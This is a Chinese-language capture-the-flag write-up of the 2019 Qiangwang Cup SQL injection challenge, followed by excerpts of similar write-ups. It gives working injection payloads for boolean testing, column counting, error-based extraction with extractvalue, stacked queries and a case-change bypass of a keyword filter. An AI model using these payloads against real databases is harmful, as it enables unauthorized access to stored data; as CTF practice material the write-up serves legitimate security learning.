強網杯 2019 隨便注

2022-10-09 06:15:14 字數 1619 閱讀 4658

(1)一向不擅長注入,這道注入因為是1分,所以練了練:

判斷是否存在注入:

1' (報錯)

1' and 1=1--+   (回顯正常)

1' and 1=2--+   (回顯不正常)

(2)判斷列:

1' order by 3--+  (三列時報錯,說明只有2列)

(3)使用一下select試試:

1' union select 1,2--+     (發現過濾了很多:select|update|delete|drop|insert|where的大小寫等)

(4)繞過方式:報錯注入或是拼接sql語句或是堆疊注入:

1';show tables--+  (堆疊注入可行)

報錯注入的話可以檢視這篇:

1' and extractvalue(1,concat(0x7e,(user()),0x7e))--+  (可以直接爆出來使用者與當前資料庫,但是還是不能使用select等,試試堆疊注入)

(5)嘗試堆疊注入:設定需要執行的sql語句,使用concat()進行拼接,然後prepare語句用於預備乙個語句,並指定名稱statement_name,以後引用並執行該語句

然後發現對這兩個函式有進行防護,繞過方式,使用大寫即可繞過:

成功拿到flag:

強網杯 2019 隨便注

1 or 1 1 回顯了所有使用者資訊 union select 1,2 得到回顯 return preg match select update delete drop insert where i inject 過濾了 select update delete drop insert where...

強網杯 2019 隨便注

知識點 原理參考堆疊注入詳解 開啟題目,如圖所示 嘗試 1 union select 1,2 發現select被禁 嘗試堆疊注入 查庫 查表 查1919810931114514表的列名 1 show columns from 1919810931114514 這裡表名使用反引號進行包含 應該就是從1...

強網杯 2019 隨便注

題目 開啟後如下,比較典型的一道sql注入題目 輸入1 發現會返回一些資料,所以可以嘗試一下堆疊注入。堆疊注入 試一下,查詢資料庫 1 show databases 發現可以將資料庫都顯示出來,說明可行 再試試查詢表,回顯兩個表 1 show tables 查詢所有表 然後繼續訪問表中的列 1 sh...